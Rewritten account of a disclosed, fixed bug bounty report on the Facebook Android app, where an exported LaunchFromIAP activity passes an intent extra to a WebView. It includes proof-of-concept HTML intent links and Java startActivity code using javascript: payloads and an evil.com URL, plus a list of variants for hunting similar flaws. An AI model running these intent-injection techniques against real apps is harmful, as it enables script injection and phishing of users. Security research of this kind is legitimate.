Execute arbitrary javascript (xss) and load arbitrary website
Published on servicenger.com
In Facebook android activity, com.facebook.katana.activity.iap.LaunchFromIAP is exported with com.facebook.katana.activity.iap action intent filter and using CHECKOUTURL as Intent extra to loadUrl with validating http/https scheme, which could have potentially been used to send a malicious URL to WebView and execute…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target here is the Facebook Android app, specifically an exported activity named com.facebook.katana.activity.iap.LaunchFromIAP. The activity is exported and carries an intent filter for the action com.facebook.katana.activity.iap. Its purpose is to take a URL from an intent extra called CHECKOUTURL and load it into a WebView, which is the in-app browser component used to render web content inside the app.
Normally such an activity should only ever load a web page over http or https. The report shows that the validation in place was insufficient, and that a javascript: URL could reach the WebView's loadUrl call. That turns an intent into script execution inside the app's WebView context, and it also allows an attacker to load an arbitrary website, for example a phishing page.
Setup
The researcher worked against a specific build of the Facebook Android app:
- Vulnerable Facebook app version: 338.1.0.36.118
The work combined static analysis of the decompiled app with reproduction steps. The static analysis is done against the decompiled sources, where classes are shown with obfuscated package prefixes such as p000X. The reproduction uses two delivery mechanisms: a web browser that can fire an intent URL, and a third-party Android app that calls startActivity directly.
Finding it
The starting point is the exported activity and its intent filter. Because LaunchFromIAP is exported and accepts the action com.facebook.katana.activity.iap, any app on the device, and in some cases a browser, can send it an intent. The activity reads the CHECKOUTURL extra and passes it to loadUrl, with validation of the http/https scheme. That validation is the only thing standing between an attacker-controlled string and the WebView.
Static analysis traced the data flow. In LaunchFromIAP, the WebView URL is loaded from a bundle produced by A0I, which is defined in p000X.C172877z9 as:
public static Bundle A0I(Activity activity) {
return activity.getIntent().getExtras();
}
So the activity takes the intent extras and passes them into the bundle A0I. The value is then read in LaunchFromIAP through A0I.getString('CHECKOUTURL'), stored in a string called A02, and passed to the WebView defined in p000X.C44470KuZ. In other words, the extra travels from the intent, through the bundle, into the WebView load call with no transformation that would neutralise a javascript: scheme.
Exploitation
The report describes two ways to exploit the issue.
Step 1: Deliver the intent from a web browser
A page containing an intent link can trigger the exported activity. The link uses the intent: scheme with the action and a string extra:
<html>
<body>
<a href="intent:#Intent;action=com.facebook.katana.activity.iap;S.CHECKOUTURL=javascript:alert(8);end">Click here
</a>
</body>
</html>
The intent: URI encodes an Android intent. action=com.facebook.katana.activity.iap matches the activity's intent filter, and S.CHECKOUTURL=javascript:alert(8) supplies the CHECKOUTURL extra as a string whose value is a javascript: URL. When the user taps the link, the activity is launched and the WebView loads the javascript: URL, executing alert(8) in the WebView context.
Step 2: Deliver the intent from a third-party app
An installed app can construct the intent directly. The first variant targets the action:
Intent intent = new Intent("com.facebook.katana.activity.iap");
intent.putExtra("CHECKOUTURL", "https://evil.com");
startActivity(intent);
Here the extra is an ordinary https URL pointing at an attacker-controlled site. Because the activity loads whatever URL it is given, the WebView renders the attacker's page inside the Facebook app, which is the basis for the phishing scenario described in the report.
Step 3: Target the exported activity by class name
The second app-based variant addresses the activity explicitly rather than through its action, and uses a javascript: payload:
Intent intent = new Intent();
intent.setClassName("com.facebook.work", "com.facebook.katana.activity.iap.LaunchFromIAP");
intent.putExtra("CHECKOUTURL", "javascript:alert(9)");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
setClassName names the target package and the activity class directly, so the intent filter is not needed. The CHECKOUTURL extra carries javascript:alert(9), and FLAG_ACTIVITY_NEW_TASK allows the activity to be started from a non-activity context. The result is script execution in the WebView, this time with alert(9).
Step 4: Record the proof of concept
The report includes a video demonstration of the issue:
The report includes this video as the proof of concept.
Root cause
The immediate cause is that the activity did not check whether the scheme of the supplied URL was http or https before passing it to loadUrl. A javascript: URL therefore reached the WebView and was executed.
Facebook's own comment on the report frames it in two layers. First, an untrusted intent containing a javascript: URL can cause XSS in LaunchFromIAP, and this instance occurs because the scheme is not checked against http(s). Second, and more broadly, the root cause is that SecureWebView should not by default handle javascript: URLs in loadUrl. The exported activity and the missing scheme check are what made the flaw reachable from outside the app; the WebView component's default handling of javascript: URLs is what made the payload effective once it arrived.
Impact
An attacker who can send an intent to the device, either through a crafted web page that the user taps or through an installed third-party app, can cause script execution inside the Facebook app's WebView. The report describes this as XSS. The same primitive also allows loading an arbitrary website in the WebView, which the report describes as a way to create a phishing page.
Fix
The issue was fixed in app version 342. According to the report, the activity now validates the http/https scheme, the host facebook.com, and the path /aas/iap_web.
Timeline
| Date | Event |
|---|---|
| 01/10/2021 | Report submitted |
| 01/10/2021 | Triaged |
| 07/10/2021 | Bounty of $1000 plus $75 Silver league bonus |
| 03/11/2021 | Fixed in v342 |
| 04/01/2022 | Disclosure requested and agreed by Facebook |
Variants to test
- Enumerate exported activities and receivers in an Android app and look for ones that accept a URL extra and pass it to a WebView. A positive result is an activity you can launch from another app or from an
intent:link whose extra ends up inloadUrl. - Try scheme variations against any URL validation you find:
javascript:, mixed case, and other non-http schemes. A positive result is script execution or navigation to a scheme the developer did not intend. - Test whether validation checks only the scheme and not the host and path. A positive result is loading an attacker-controlled https host where only a specific host and path were expected.
- Check whether
SecureWebView-style components handlejavascript:URLs by default. A positive result is aloadUrlcall with ajavascript:string that executes rather than being blocked. - Try both delivery routes: an
intent:URI from a browser and a directstartActivityfrom a test app. A positive result is the target activity launching and rendering the supplied URL in either case.
What happened, in plain words
A security researcher found a way to make the Facebook app for Android run JavaScript code that he controlled, and to make the app show any website he wanted inside its own window. He reported it to Facebook, Facebook paid him a bounty, fixed it, and later agreed to let him publish the story.
To understand why this matters, you need a few ideas from Android and from the web. I will explain each one the first time it appears.
Android apps are made of screens called activities. An activity is one screen of an app, for example the screen that shows a checkout page. Apps can be built from many activities, and each activity is a small program that draws something on the screen and reacts to taps.
An intent is a message asking an app to do something. Think of it as an envelope. On the outside you write what you want done (the action), and inside you can put small pieces of data (the extras). Android looks at the envelope and decides which activity should open it. For example, the action android.intent.action.VIEW with a web address inside means "open this address".
An exported activity is one that other apps are allowed to open. By default, an activity belongs to its own app only. If a developer marks an activity as exported, any other app on the phone can send it an intent. That is sometimes necessary, for example when a payment provider needs to hand control back to a shopping app. But it also means the activity must treat everything it receives as untrusted, because a stranger wrote it.
A WebView is a small browser built into an app. Many apps do not want to send you to a separate browser app when they need to show a web page, so they embed a WebView: a rectangle inside the app that renders web content. The app tells the WebView which address to open with a call named loadUrl.
A URL scheme is the first part of an address, before the colon. In https://example.com the scheme is https. In javascript:alert(8) the scheme is javascript. A javascript: URL is not a web page at all: it is a piece of JavaScript code, and a browser that opens it runs the code instead of showing a page. JavaScript is the programming language that web pages use to be interactive.
XSS, short for cross-site scripting, is when an attacker gets their own JavaScript to run in a place where it should not. Normally the code runs as if it came from the trusted site, so it can do things the site's own code could do. Here the "site" is the Facebook app's WebView.
Phishing is tricking someone into entering information on a fake page. If an attacker can make the Facebook app display a page that looks like Facebook but is not, the user may type a password into it without noticing anything wrong.
Static analysis means reading the app's code without running it. Android apps are distributed as compiled packages, but tools can turn them back into readable Java-like code. When code is compiled, the names of internal classes are often shortened to meaningless labels such as p000X, which is why the code below looks strange.
Now the finding itself.
The target and the setup
The researcher looked at the Facebook Android app, in particular an exported activity called com.facebook.katana.activity.iap.LaunchFromIAP. It listens for the action com.facebook.katana.activity.iap, and it takes a web address from an extra called CHECKOUTURL, then loads that address into a WebView.
Because the activity is exported, any app on the phone can send it an intent, and in some cases a web page can too. Because it loads whatever address it is given, the only protection is a check on the address. The report shows that this check was not good enough: a javascript: address could get through to loadUrl. That turns a simple message into code execution inside the app, and it also lets an attacker display any website, for example a fake login page.
The researcher worked against one specific build of the app:
- Vulnerable Facebook app version: 338.1.0.36.118
He combined static analysis, reading the decompiled code to follow where the address travels, with reproduction steps for sending the intent from a web browser and from a third-party Android app.
Finding the flaw in the code
The starting point is the exported activity and its intent filter. Since LaunchFromIAP is exported and accepts the action com.facebook.katana.activity.iap, any installed app can send it an intent, and a browser can trigger it through a special link. The activity reads the CHECKOUTURL extra and passes it to loadUrl, checking the http/https scheme. That check is the only thing between an attacker's text and the WebView.
The static analysis followed the data. In LaunchFromIAP, the address for the WebView comes from a bundle built by a method called A0I, defined in p000X.C172877z9 as:
public static Bundle A0I(Activity activity) {
return activity.getIntent().getExtras();
}
Line by line:
public static Bundle A0I(Activity activity) {declares a method namedA0I. It ispublic(callable from elsewhere) andstatic(it does not need an object of its own). It takes one input, anActivity, which is the screen that is currently running. It returns aBundle, which is Android's name for a small bag of key-and-value pairs, like a labelled envelope of data.return activity.getIntent().getExtras();asks the activity for the intent that launched it (getIntent()), then asks that intent for its extras (getExtras()), and returns that bag. In plain words: "give me everything that was stuffed into the envelope that opened this screen".
So the activity takes the intent extras and puts them into the bundle A0I. The value is then read in LaunchFromIAP with A0I.getString('CHECKOUTURL'), stored in a string called A02, and handed to the WebView defined in p000X.C44470KuZ. In other words, the extra travels from the intent, through the bundle, into the WebView load call, and nothing along the way neutralises a javascript: scheme.
Exploitation: three ways to deliver the payload
The report describes two ways to exploit the issue. The word payload here means the malicious value that gets delivered, in this case the javascript: address.
Step 1: Deliver the intent from a web browser
A web page containing a special link can trigger the exported activity. The link uses the intent: scheme, which browsers on Android understand as "build an Android intent from this text and send it". The page is:
<html>
<body>
<a href="intent:#Intent;action=com.facebook.katana.activity.iap;S.CHECKOUTURL=javascript:alert(8);end">Click here
</a>
</body>
</html>
Line by line:
<html>and<body>are the ordinary opening tags of a web page and its visible body. Nothing special happens here.<a href="...">Click herecreates a link. Thehrefattribute is the address the link points to. The text between the tags,Click here, is what the user sees and taps.- The address itself is
intent:#Intent;action=com.facebook.katana.activity.iap;S.CHECKOUTURL=javascript:alert(8);end. It starts withintent:, so the browser treats it as an instruction to build an intent rather than as a web address.#Intent;marks the start of the intent description.action=com.facebook.katana.activity.iapsets the action, which matches the activity's intent filter, so Android knows which screen to open.S.CHECKOUTURL=javascript:alert(8)adds an extra: theS.prefix means the value is a string, the key isCHECKOUTURL, and the value is thejavascript:address.endcloses the description. </a>closes the link, and</body></html>close the page.
Why this step: it shows that no installed app is needed. A user who taps a link on a web page is enough. When the link is tapped, the activity launches and the WebView loads the javascript: address, which runs alert(8), a JavaScript command that pops up a small dialog showing the number 8. That dialog is the visible proof that attacker code ran inside the app.
Step 2: Deliver the intent from a third-party app
An installed app can build the intent directly in code. The first variant targets the action:
Intent intent = new Intent("com.facebook.katana.activity.iap");
intent.putExtra("CHECKOUTURL", "https://evil.com");
startActivity(intent);
Line by line:
Intent intent = new Intent("com.facebook.katana.activity.iap");creates a new intent object and gives it the actioncom.facebook.katana.activity.iap. This is the same action the exported activity listens for, so Android will route the message to it.intent.putExtra("CHECKOUTURL", "https://evil.com");puts one extra into the envelope: the keyCHECKOUTURLwith the valuehttps://evil.com, an ordinary https address pointing at a site the attacker controls.startActivity(intent);sends the intent, which opens the activity.
Why this step: here the extra is a normal https address, not JavaScript. Because the activity loads whatever address it is given, the WebView renders the attacker's page inside the Facebook app. That is the basis for the phishing scenario: the fake page appears inside a trusted app rather than in a browser with an address bar the user might check.
Step 3: Target the exported activity by class name
The second app-based variant does not use the action at all. It names the activity directly and uses a javascript: payload:
Intent intent = new Intent();
intent.setClassName("com.facebook.work", "com.facebook.katana.activity.iap.LaunchFromIAP");
intent.putExtra("CHECKOUTURL", "javascript:alert(9)");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
Line by line:
Intent intent = new Intent();creates an empty intent with no action and no target yet.intent.setClassName("com.facebook.work", "com.facebook.katana.activity.iap.LaunchFromIAP");fills in the target explicitly: the first string is the package name and the second is the full class name of the activity. Because the target is named directly, the intent filter is not needed; Android goes straight to that screen.intent.putExtra("CHECKOUTURL", "javascript:alert(9)");puts thejavascript:address into the extra. This time the code shows the number 9 instead of 8, so the two proofs are easy to tell apart.intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);adds a flag, which is an option on the intent. This particular flag allows an activity to be started from a context that is not itself an activity, for example a background service.startActivity(intent);sends it.
Why this step: it shows a second route that does not depend on the action name at all. As long as the activity is exported, naming its class is enough. The result is again script execution in the WebView, this time with alert(9).
Step 4: Record the proof of concept
The report includes a video demonstration of the issue:
The video sits directly after the description of the multiple exploitation routes and before the timeline. It is the proof of concept included in the report.
Root cause
The immediate cause is that the activity did not check whether the scheme of the supplied address was http or https before passing it to loadUrl. A javascript: address therefore reached the WebView and was executed.
Facebook's own comment on the report splits the problem into two layers. First, an untrusted intent containing a javascript: address can cause XSS in LaunchFromIAP, and this instance happens because the scheme is not checked against http(s). Second, and more broadly, the root cause is that SecureWebView should not by default handle javascript: addresses in loadUrl. SecureWebView is the WebView component the report names, which should not by default handle javascript: addresses in loadUrl. The exported activity and the missing scheme check are what made the flaw reachable from outside the app; the WebView component's default handling of javascript: addresses is what made the payload work once it arrived.
Impact
An attacker who can send an intent to the device, either through a crafted web page the user taps or through an installed third-party app, can cause script execution inside the Facebook app's WebView. The report calls this XSS. The same ability also allows loading an arbitrary website in the WebView, which the report describes as a way to create a phishing page.
Fix
The issue was fixed in app version 342. According to the report, the activity now validates the http/https scheme, the host facebook.com, and the path /aas/iap_web.
Timeline
| Date | Event |
|---|---|
| 01/10/2021 | Report submitted |
| 01/10/2021 | Triaged |
| 07/10/2021 | Bounty of $1000 plus $75 Silver league bonus |
| 03/11/2021 | Fixed in v342 |
| 04/01/2022 | Disclosure requested and agreed by Facebook |
Triaged means the security team reviewed the report and confirmed it was a real issue worth working on. Disclosure means making the report public.
Variants to test
If you want to look for similar problems yourself, these are the directions the report suggests.
- List the exported activities and receivers in an Android app and look for ones that accept a URL extra and pass it to a WebView. A positive result is an activity you can launch from another app, or from an
intent:link, whose extra ends up inloadUrl. - Try scheme variations against any URL validation you find:
javascript:, mixed case, and other non-http schemes. A positive result is script execution, or navigation to a scheme the developer did not intend. - Test whether validation checks only the scheme and not the host and path. A positive result is loading an attacker-controlled https host where only a specific host and path were expected.
- Check whether
SecureWebView-style components handlejavascript:addresses by default. A positive result is aloadUrlcall with ajavascript:string that executes rather than being blocked. - Try both delivery routes: an
intent:URI from a browser and a directstartActivityfrom a test app. A positive result is the target activity launching and rendering the supplied address in either case.
Glossary
- Activity: one screen of an Android app, with its own code for drawing the screen and reacting to the user.
- Intent: a message in Android that asks an app to do something, carrying an action and optional extras.
- Action: the label on an intent saying what should be done, for example
com.facebook.katana.activity.iap. - Extra: a key-and-value pair carried inside an intent, such as
CHECKOUTURLwith a web address. - Exported activity: an activity that other apps on the phone are allowed to open by sending it an intent.
- Intent filter: a declaration in an app saying which actions an activity is willing to receive.
- WebView: a small browser built into an app, used to show web pages inside the app.
loadUrl: the WebView method that tells it which address to open.- URL scheme: the first part of an address before the colon, such as
httpsorjavascript. javascript:URL: an address whose scheme isjavascript, meaning the rest is code to run rather than a page to show.- JavaScript: the programming language that web pages use to be interactive.
- XSS (cross-site scripting): getting attacker-written JavaScript to run where trusted code should run.
- Phishing: tricking a user into entering information on a fake page that imitates a real one.
- Static analysis: reading an app's code without running it, often after decompiling it.
- Decompiling: turning a compiled app back into readable Java-like source code.
- Bundle: Android's name for a small bag of key-and-value data.
- Package name: the unique identifier of an Android app, such as
com.facebook.work. - Class name: the full name of a piece of code inside an app, such as
com.facebook.katana.activity.iap.LaunchFromIAP. - Flag: an option attached to an intent that changes how Android handles it.
FLAG_ACTIVITY_NEW_TASK: a flag that lets an activity be started from a context that is not itself an activity.SecureWebView: Facebook's own WebView component, which the report says should not handlejavascript:addresses by default.- Proof of concept (POC): a demonstration that the issue really works, here a video.
- Triaged: reviewed and confirmed as a real issue by the security team.
- Bounty: a payment made by a company to a researcher who reports a valid security issue.
- Disclosure: making a security report public.